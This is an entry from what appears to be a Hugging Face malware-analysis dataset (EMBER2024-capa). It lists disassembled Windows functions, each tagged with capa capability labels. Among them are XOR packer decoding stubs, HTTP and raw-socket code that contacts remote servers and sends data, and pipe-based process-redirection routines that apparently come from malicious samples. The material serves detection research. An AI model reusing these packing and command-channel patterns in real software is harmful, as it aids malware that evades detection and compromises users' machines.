joyce8/EMBER2024-capa huggingface dataset:
Function at 0x466e45
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ecx]
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
test al, 0x10
je 0x466e81
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, dword [ebp + 0x10]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x466ebe
mov dword [esi], edi
mov eax, dword [esi]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
test dword [ebp + 8], eax
je 0x466ea7
mov esi, dword [ebp + 0x10]
mov eax, dword [esi]
test eax, eax
jne 0x466e79
push edi
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x466ef5
or eax, 0xffffffff
jmp 0x466e79
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, dword [ebp + 0x10]
mov dword [esi], eax
test eax, eax
je 0x466ecc
cmp eax, 0xffffffff
je 0x466ecc
push 1
mov edx, esi
mov ecx, eax
call fcn.00466d0f
pop ecx
jmp 0x466e77
push edi
push 0x80
push 3
lea eax, [ebp - 0xc]
push eax
push 2
push 0x40000000
push 0x4b87f8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x466e75
test eax, eax
je 0x466e75
mov ecx, dword [esi]
lea edx, [ebp + 0x10]
push 1
call fcn.00466d0f
pop ecx
mov ecx, esi
call fcn.00466cde
mov eax, dword [ebp + 0x10]
mov dword [esi], eax
jmp 0x466e77

Function at 0x466f13
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ecx]
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
test al, 0x10
je 0x466f4e
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, dword [ebp + 0x10]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x466f89
mov dword [esi], edi
mov eax, dword [esi]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
test al, 1
je 0x466f73
mov esi, dword [ebp + 0x10]
mov eax, dword [esi]
test eax, eax
jne 0x466f46
push edi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x466fc0
or eax, 0xffffffff
jmp 0x466f46
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, dword [ebp + 0x10]
mov dword [esi], eax
test eax, eax
je 0x466f97
cmp eax, 0xffffffff
je 0x466f97
push 1
mov edx, esi
mov ecx, eax
call fcn.00466d0f
pop ecx
jmp 0x466f44
push edi
push 0x80
push 3
lea eax, [ebp - 0xc]
push eax
push 1
push bind
push 0x4b87f8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x466f42
test eax, eax
je 0x466f42
mov ecx, dword [esi]
lea edx, [ebp + 0x10]
push 1
call fcn.00466d0f
pop ecx
mov ecx, esi
call fcn.00466cde
mov eax, dword [ebp + 0x10]
mov dword [esi], eax
jmp 0x466f44
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, reloc.avifil32.dll_AVIStreamGetFrameClose
nop
sub eax, 0x403d50
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x401be0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407048
call sym._EnterCriticalSection_4
mov ebx, dword [0x407040]
sub esp, 4
test ebx, ebx
je 0x401c2b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401c24
test esi, esi
je 0x401c24
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401c00
mov dword [esp], 0x407048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401e10
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401e60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401f38
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401e9e
cmp eax, 4
jne 0x401ec0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401eae
cmp edx, 4
je 0x401eae
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401e10

Function at 0x42e006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x10001f73
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0x3a980
call fcn.1000a903
xor edx, edx
inc edx
call fcn.1000a050
xor ecx, ecx
and al, 8
cmp al, 8
setne cl
push 0x32
pop edx
dec ecx
and ecx, 0x803000
add ecx, 0x84400200
mov dword [0x10033c5c], ecx
call fcn.1000a050
cmp ax, 1
jne 0x10001fbf
or dword [0x10033c5c], 0x80000
push esi
push edi
push 0x23
pop edx
call fcn.1000a050
movzx eax, ax
xor edi, edi
sub eax, edi
je 0x10001fe4
dec eax
je 0x1000209c
dec eax
je 0x10002093
dec eax
dec eax
jne 0x10001fff
push edi
push edi
push 0x20
pop edx
call fcn.1000a079
push eax
push 3
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [0x100375f4], eax
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea eax, [ebp - 4]
push eax
push 5
push dword [0x100375f4]
call esi
push 4
lea eax, [ebp - 4]
push eax
push 6
push dword [0x100375f4]
call esi
push 0x10033c58
push edi
push 3
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [0x100375f4]
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
push 0x23
pop edx
mov dword [0x100375f8], edi
call fcn.1000a050
cmp ax, 4
jne 0x1000208a
push 0x21
pop edx
call fcn.1000a08a
push eax
push 0x21
pop edx
call fcn.1000a079
push eax
push 0x2b
push edi
call esi
push 0x22
pop edx
call fcn.1000a08a
push eax
push 0x22
pop edx
call fcn.1000a079
push eax
push 0x2c
push dword [0x100375f8]
call esi
call fcn.1000a924
pop edi
pop esi
leave
ret
push edi
push edi
push edi
push edi
jmp 0x10001ff1
push edi
push edi
push edi
push 1
jmp 0x10001ff1
Function at 0x10002194
Capabilities:
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b4
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x4af]
push ebx
push eax
mov dword [ebp - 0x30], 0x1002d530
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x4b0], bl
call fcn.1001c320
push 0x7f
lea eax, [ebp - 0xaf]
push ebx
push eax
mov byte [ebp - 0xb0], bl
call fcn.1001c320
add esp, 0x18
push 8
xor eax, eax
pop ecx
lea edi, [ebp - 0x24]
mov dword [ebp - 0x28], ebx
rep stosd dword es:[edi], eax
mov eax, dword [0x10037600]
cmp eax, ebx
je 0x1000234a
lea esi, [ebp - 0x28]
call fcn.10007f12
push 0x1003b320
mov edi, 0x1002d524
push edi
mov esi, 0x400
push esi
push dword [ebp - 0x20]
call fcn.10014aa6
push dword [0x1003af00]
lea eax, [ebp - 0xb0]
push 0x1002d534
push 0x80
push eax
call fcn.10014aa6
lea eax, [ebp - 0xb0]
add esp, 0x20
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x1000223f
push dword [0x10037600]
sub eax, ecx
push dword [0x100375fc]
push eax
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0x28]
push eax
push 0xd
pop edx
call fcn.1000a079
push eax
call fcn.100078bf
mov eax, dword [ebp - 0x24]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x10002277
sub eax, ecx
lea eax, [ebp - 0x4b0]
jne 0x10002298
push dword [ebp - 0x20]
push edi
push esi
push eax
call fcn.10014aa6
add esp, 0x10
jmp 0x100022ad
push dword [ebp - 0x24]
push dword [ebp - 0x20]
push 0x1002d538
push esi
push eax
call fcn.10014aa6
add esp, 0x14
call fcn.1000a903
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 4], ebx
push 0x10033c58
push dword [0x10033c5c]
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
lea eax, [ebp - 0x4b0]
push eax
push 0x1b
pop edx
call fcn.1000a079
push eax
push dword [0x100375f8]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
push esi
call fcn.100020ee
mov eax, dword [ebp - 0x28]
pop ecx
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x100022f7
push dword [ebp - 0x18]
sub eax, ecx
push dword [ebp - 0x1c]
push eax
push dword [ebp - 0x28]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push esi
call fcn.1000214d
pop ecx
push esi
test eax, eax
jne 0x10002335
call edi
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jb 0x100022bb
jmp 0x10002337
call edi
lea eax, [ebp - 0x28]
call fcn.10007f8f
mov dword [0x10037600], ebx
call fcn.1000a924
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100023c6
Capabilities:
Query remote server for available data
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
push ebx
push esi
push edi
xor ebx, ebx
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x30]
push 0x3ff
mov dword [ebp - 0x34], ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x443]
push ebx
push eax
mov dword [ebp - 0x3c], 0x1002d530
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov byte [ebp - 0x444], bl
call fcn.1001c320
mov eax, dword [0x1003af04]
add esp, 0xc
lea esi, [ebp - 0x34]
call fcn.10007f12
push dword [ebp + 8]
mov edi, 0x1002d524
push edi
mov esi, 0x400
push esi
push dword [ebp - 0x2c]
call fcn.10014aa6
add esp, 0x10
push ebx
push ebx
push dword [0x1003af04]
lea eax, [ebp - 0x34]
push 0x1003af08
push eax
push 0xc
pop edx
call fcn.1000a079
push eax
call fcn.100078bf
mov eax, dword [ebp - 0x30]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x1000245e
sub eax, ecx
lea eax, [ebp - 0x444]
jne 0x1000247f
push dword [ebp - 0x2c]
push edi
push esi
push eax
call fcn.10014aa6
add esp, 0x10
jmp 0x10002494
push dword [ebp - 0x30]
push dword [ebp - 0x2c]
push 0x1002d538
push esi
push eax
call fcn.10014aa6
add esp, 0x14
push 0x10033c58
push dword [0x10033c5c]
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
lea eax, [ebp - 0x444]
push eax
push 0x1a
pop edx
call fcn.1000a079
push eax
push dword [0x100375f8]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
push edi
call fcn.100020ee
mov eax, dword [ebp - 0x34]
pop ecx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100024d0
push dword [ebp - 0x24]
sub eax, esi
push dword [ebp - 0x28]
push eax
push dword [ebp - 0x34]
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
lea eax, [ebp - 0x34]
call fcn.10007f8f
push edi
call fcn.1000214d
pop ecx
test eax, eax
jne 0x1000250b
or ebx, 0xffffffff
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, ebx
jmp 0x1000258a
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x10002580
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0x10]
jae 0x10002580
cmp eax, ebx
je 0x10002500
cmp dword [ebp + 0x10], ebx
jbe 0x100024fd
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push 0x1000
add eax, esi
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1000255a
cmp dword [ebp - 8], ebx
je 0x1000255a
add esi, dword [ebp - 8]
mov dword [ebp - 0xc], esi
cmp esi, dword [ebp + 0x10]
jb 0x1000252d
cmp esi, dword [ebp + 0x10]
jae 0x100024fd
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp + 0x10]
push 0xb
pop edx
call fcn.1000a079
mov ecx, dword [ebp + 0xc]
push eax
mov eax, esi
call fcn.10007dc7
pop ecx
pop ecx
jmp 0x1000258a
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100025b5
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
cmp dword [0x10037604], 1
je 0x10002642
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jge 0x100025ea
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 1
call fcn.1001502e
push 0x14
pop edx
mov dword [0x10037604], 1
call fcn.1000a062
push 0x13
pop edx
mov dword [0x10037608], eax
call fcn.1000a062
push 0x3d
pop edx
mov dword [0x1003760c], eax
call fcn.1000a079
push 0x3e
pop edx
mov dword [0x1003b31c], eax
call fcn.1000a079
push 0x3f
pop edx
mov dword [0x1003b310], eax
call fcn.1000a079
push 0x42
pop edx
mov dword [0x1003b314], eax
call fcn.1000a079
mov dword [0x1003b318], eax
leave
ret

Function at 0x100026f0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
cmp esi, 0x3ff
jg 0x10002729
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call fcn.10015180
add esp, 0xc
lea eax, [ebp - 0x400]
push eax
mov byte [ebp + esi - 0x400], 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
leave
ret

Function at 0x10002a06
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push esi
push edi
push 0x44
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x70]
push esi
push eax
call fcn.1001c320
mov dword [ebp - 0x70], edi
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], 0xc
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x40], ax
mov eax, dword [ebp - 4]
push esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x70]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x44], 0x101
push dword [ebp + 8]
mov dword [ebp - 0x38], esi
call fcn.1000778c
add esp, 0x18
test eax, eax
je 0x10002abd
push 0x2710
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
lea esi, [ebp - 0x24]
push dword [ebp - 8]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.1000569b
add esp, 0x18
pop edi
pop esi
leave
ret
Function at 0x10002bbf
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, 0x400
push esi
call fcn.10014955
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10002c5d
push dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push dword [ebp + 8]
push eax
call fcn.100068ca
add esp, 0xc
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.100069f5
pop ecx
pop ecx
test eax, eax
jne 0x10002c07
push ebx
call fcn.10014878
jmp 0x10002c5c
push dword [ebp + 0x10]
push ebx
call fcn.10015368
mov esi, eax
pop ecx
pop ecx
cmp esi, 0xffffffff
je 0x10002c46
test esi, esi
je 0x10002c46
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.10006998
add esp, 4
push eax
push 1
lea eax, [ebp - 0x14]
call fcn.100069a3
push eax
call fcn.100154e1
push esi
call fcn.100155da
add esp, 0x14
jmp 0x10002bff
push ebx
call fcn.10014878
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 8
call fcn.10001ea6
pop ecx
pop ecx
pop esi
pop ebx
leave
ret

Function at 0x10002cdb
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x10002cf9
or eax, 0xffffffff
jmp 0x10002d48
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x10002cf4
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0xc]
push eax
call fcn.1001b130
add esp, 0xc
push 2
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x10], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
push esi
call sub.WS2_32.dll_connect
test eax, eax
je 0x10002d46
push esi
call sub.WS2_32.dll_closesocket
jmp 0x10002cf4
mov eax, esi
pop esi
leave
ret

Function at 0x10002d4b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
or ebx, 0xffffffff
call esi
push dword [ebp + 0xc]
mov edi, eax
push dword [ebp + 8]
lea eax, [ebp - 0x20]
push eax
add edi, 0xea60
call fcn.100068ca
lea eax, [ebp - 0x20]
add esp, 0xc
push eax
call fcn.10006a39
mov dword [ebp - 8], eax
pop ecx
lea eax, [ebp - 0x20]
push eax
call fcn.100068e3
mov dword [ebp - 4], eax
pop ecx
lea eax, [ebp - 0x20]
call fcn.100069a3
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
call fcn.10006998
add esp, 4
mov dword [ebp - 0xc], eax
call fcn.100025b5
jmp 0x10002dd3
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.10002cdb
mov ebx, eax
pop ecx
pop ecx
cmp ebx, 0xffffffff
jne 0x10002df7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, edi
jb 0x10002db4
push 0x46
call fcn.10001f04
pop ecx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call sub.WS2_32.dll_closesocket
pop edi
pop esi
pop ebx
leave
ret
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push ebx
call sub.WS2_32.dll_send
jmp 0x10002de1
Function at 0x10002e07
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
add esi, 0xea60
call fcn.100068ca
add esp, 0xc
lea eax, [ebp - 0x24]
push 0x80
push eax
lea ebx, [ebp - 0xa8]
call fcn.100069f5
lea eax, [ebp - 0x24]
call fcn.100069a3
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x24]
push eax
call fcn.10006998
add esp, 0xc
mov dword [ebp - 8], eax
xor ebx, ebx
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 4]
call fcn.10005a80
pop ecx
test eax, eax
jne 0x10002ebc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x10002e9f
call edi
cmp eax, esi
jae 0x10002e9f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x10002e69
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xa8]
push eax
push 0x32
call fcn.10001ed4
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call edi
cmp dword [ebp - 8], 0
jbe 0x10002f0d
mov ebx, 0x2000
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
sub eax, esi
cmp eax, ebx
jbe 0x10002eec
mov eax, ebx
push 0
lea ecx, [ebp - 0x10]
push ecx
push eax
mov eax, dword [ebp - 0x14]
add eax, esi
push eax
push dword [ebp - 4]
call edi
test eax, eax
je 0x10002f0d
add esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], esi
cmp esi, dword [ebp - 8]
jb 0x10002ede
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002eb7

Function at 0x100030e5
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp esi, 0x100
push ebx
jge 0x1000315a
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.1001b130
or dword [0x1003306c], 0xffffffff
or dword [0x1003201c], 0xffffffff
or dword [0x1003319c], 0xffffffff
add esp, 0xc
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 2
push 4
push 3
lea eax, [ebp - 0x104]
push eax
mov byte [ebp + esi - 0x104], bl
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x1003201c], eax
cmp eax, ebx
je 0x1000315a
push ebx
push 0x10002f7b
call fcn.1000a870
pop ecx
pop ecx
mov dword [0x1003319c], eax
pop ebx
leave
ret